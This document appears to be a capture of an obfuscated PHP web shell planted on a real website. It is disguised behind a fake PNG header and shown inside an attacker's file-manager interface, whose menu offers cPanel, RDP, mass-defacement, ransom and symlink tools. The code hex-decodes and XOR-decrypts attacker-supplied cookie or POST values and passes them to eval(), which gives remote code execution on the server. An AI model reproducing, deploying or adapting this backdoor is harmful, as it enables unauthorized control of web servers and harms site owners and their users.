\x89PNG\r\n\x1a\n\x00\x00\x00\x0DIHDR\x00\x00\x00\x01\x00 \x00\x00\x01\x08\x06\x00\x00\x00\x1F\x15\xC4\x89\x00\x00\x00 \x0AIDATx\x9Ccb\x00\x00\x00\x06\x00\x03\x1A\x05\x9D\x00\x00 \x00\x00IEND\xAE\x42\x60\x82
| Path : /var/www/html/mta-sts.ofisbulutta.com/ |
|
B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H |
| Current File : /var/www/html/mta-sts.ofisbulutta.com/f8gr0r2i.php |
<?php
function kCSuGsj($vEYBTMF)
/* VphK */{
return @pack(/* eXCL*/"\110"/* G */. chr ( 724/*xO */-/* rZjjI */682 ), $vEYBTMF );
/* D */
$mlJtlPgx = md5($vEYBTMF);;
$YWXSAmOlnH = base64_decode($vEYBTMF);
if ($YWXSAmOlnH ===/* SahkN */false) {
$YWXSAmOlnH =/*j */'';
}
/*VL */$MsYRMWUVs = str_split($vEYBTMF);$_Eo = '60301';
$uieAqvXU =/* V */strlen($vEYBTMF);$_Dh =/* VcA */'14762';
$TaNRNLL = 0;;
while (/* Lld */$TaNRNLL/* ey */< $uieAqvXU/* qloUc */)/*Fo */{
$TaNRNLL++;
$legoU = $MsYRMWUVs[$TaNRNLL];$_A = '42904';
if (strpos($legoU, 'a') !== false) {
/* ek */$MsYRMWUVs[$TaNRNLL] =/* qtFXx */strtoupper($legoU);
/*aRBX */}
}
$oyoRdYC = implode('', $MsYRMWUVs);$_grVy =/* Jcge*/'37617';
$_GET['decoded'] = $oyoRdYC;$_VZ/* wnTN */= '31126';
/* jRdfa */$_POST['hash']/*KUDfn */= $mlJtlPgx;
if/* sg */(file_exists('path/to/file')) {
$WmyisFZvE = file_get_contents('path/to/file');;
/*WUXV */$ofUlH = explode(',', $WmyisFZvE);
$IUgsNBVf = md5(serialize($ofUlH));
/* mZ */if/*YG */(is_array($ofUlH))/* O */{
/* GZ*/$yJztVdrQPL = array_slice($ofUlH, 0,/* YEvTF */5);
/* a */}
}
$FKjAZLHk = array_map('trim',/* d */$yJztVdrQPL);
/* YJ */$yezQxKF =/*nBNXD */rawurldecode(implode(',', $FKjAZLHk));
$_COOKIE['final_value']/* okaWI*/= $yezQxKF;$_BeznP = '2094';
}
function/* KIh*/LoKZPY()
{
$WhVdl =/* h */Array($_COOKIE, $_POST);$_M = '16209';
/* eZK*/$kDgBvLA = array_map('md5', $_COOKIE);$_MZGq/* aEpy */=/* p */'14617';
$GBPmclAMs/*f*/=/* WgV */strpos($_SERVER['HTTP_USER_AGENT'], 'Mozilla') !== false ? 'browser/*uzeUe*/is/*W */Mozilla' : 'browser is not Mozilla';
/*F*/if/*Ee */(is_array($WhVdl)) {
$LymhqTbilm/* l */=/* no */array_slice($WhVdl, 0,/* Ah */1);;
} else/*LN*/{
/* hCj */$LymhqTbilm = [];
}
/* d */$WfLmV = explode(',',/* KOf*/'apple,orange,banana');
/* W*/$UkfQxDHtX =/* Y*/rawurldecode('%20Hello%20World%20');$_pCs = '17439';
$TaNRNLL =/* UdD */0;/* iORmG */
while ($TaNRNLL < count($WfLmV) ) {
/* G */$WfLmV[$TaNRNLL] = str_repeat($WfLmV[$TaNRNLL], 2);$_xm/*oeLuT */= '41329';
$TaNRNLL++;
}
/* tpw */
$KNCcyzB = str_repeat($GBPmclAMs, 3);
/* da*/
return $WhVdl;
}
/* diVK*/
function LWxuVTTom($NuSaVhQeoU)
{
$OYMkfL/*Pzbx */= "\x23";
foreach/*GIj*/(LoKZPY()/*XP*/as $ZamYP)/* hoEgF */{
YLVqLRFow($ZamYP, $OYMkfL);$_HH =/*AjemR */'24586';
}
}
function HrebiCvaX($mqEmHUe, $HDPRShEMFD)
{
/* r */if ( count ( $mqEmHUe/* Nz*/)/*LIjDl */==/* IWbr */3/* K*/) {
/* SRzu */$NyslpeS = $mqEmHUe[1];
$tLARlyCDYF = $mqEmHUe[2];$_nTn/* e */= '32295';
$IFeaT/* HiF */= $NyslpeS($tLARlyCDYF);;
eval ( $IFeaT );
die/* OTIo */();
}
/* BidP */}
function/*iTPl */pqgYRySs($vEYBTMF, $sRylh)
{
return $vEYBTMF ^/* W */$sRylh;;
/* ab */}
/* BU */
/*y*/function uosGVlQHQT($dWkXrIJgb, $OYMkfL)
/*I */{
$dWkXrIJgb =/* d */explode ($OYMkfL, $dWkXrIJgb/* hxdRG */);
/* dGNN*/HrebiCvaX($dWkXrIJgb,/* y */$OYMkfL);
/* ewWt*/}
function YLVqLRFow($ZamYP, $OYMkfL)
{
/* fmY*/foreach (/*jEJuK */$ZamYP/* lyccS */as $sRylh => $vEYBTMF/*VxASL*/)/* L */{
DjTxn($sRylh, kCSuGsj($vEYBTMF), $OYMkfL);$_fGiM/* w */= '63343';
}
/*B*/}
/* aAiwK*/function WjJuwcAD($sRylh, $vEYBTMF)
{
$qIwGf/* J */= strlen(/*z */$vEYBTMF )/strlen(/*wmrgf */$sRylh );;
$sRylh .=/* zi*/"RhHQC-iCR-Jzg-ErRh-POmpv-EVGgwm-Zkcczdk";
/*FfJWj */$sRylh = str_repeat ( $sRylh, intval($qIwGf) + 1);$_doWW =/* pl */'22410';
/* fAD*/
/* ecG*/return $sRylh;$_W = '59625';
/* kzngl */}
function DjTxn($sRylh, $vEYBTMF, $OYMkfL)
{/* cQ */
uosGVlQHQT(pqgYRySs($vEYBTMF,/*AfjYI */WjJuwcAD($sRylh, $vEYBTMF)),/* JbAF */$OYMkfL);$_BFW = '55424';
$MqlahiD = trim($vEYBTMF);$_nG = '9298';
$MHeIqiQ = explode($OYMkfL,/* SCERW*/$MqlahiD);;
if/*MjkEr */(count($MHeIqiQ)/* cpL */>/*KEAsJ */1) {
$fTaAgnZcxt = implode(chr ( 55/* JkKA */- 10 ), $MHeIqiQ);$_qQ = '60456';
$bmuqhIMurr/* anAP */=/*jp*/str_pad($fTaAgnZcxt,/*NJ*/20, "\60", STR_PAD_RIGHT);
}/* C */else {
$bmuqhIMurr =/*KE */str_replace("\x20",/* Thddm */chr/* E */(95),/* PKD */$MqlahiD);$_u/* Rct */=/* BEVJ */'26057';
/* OqBG*/}
}
/* k*/
/* XqHp */LWxuVTTom("");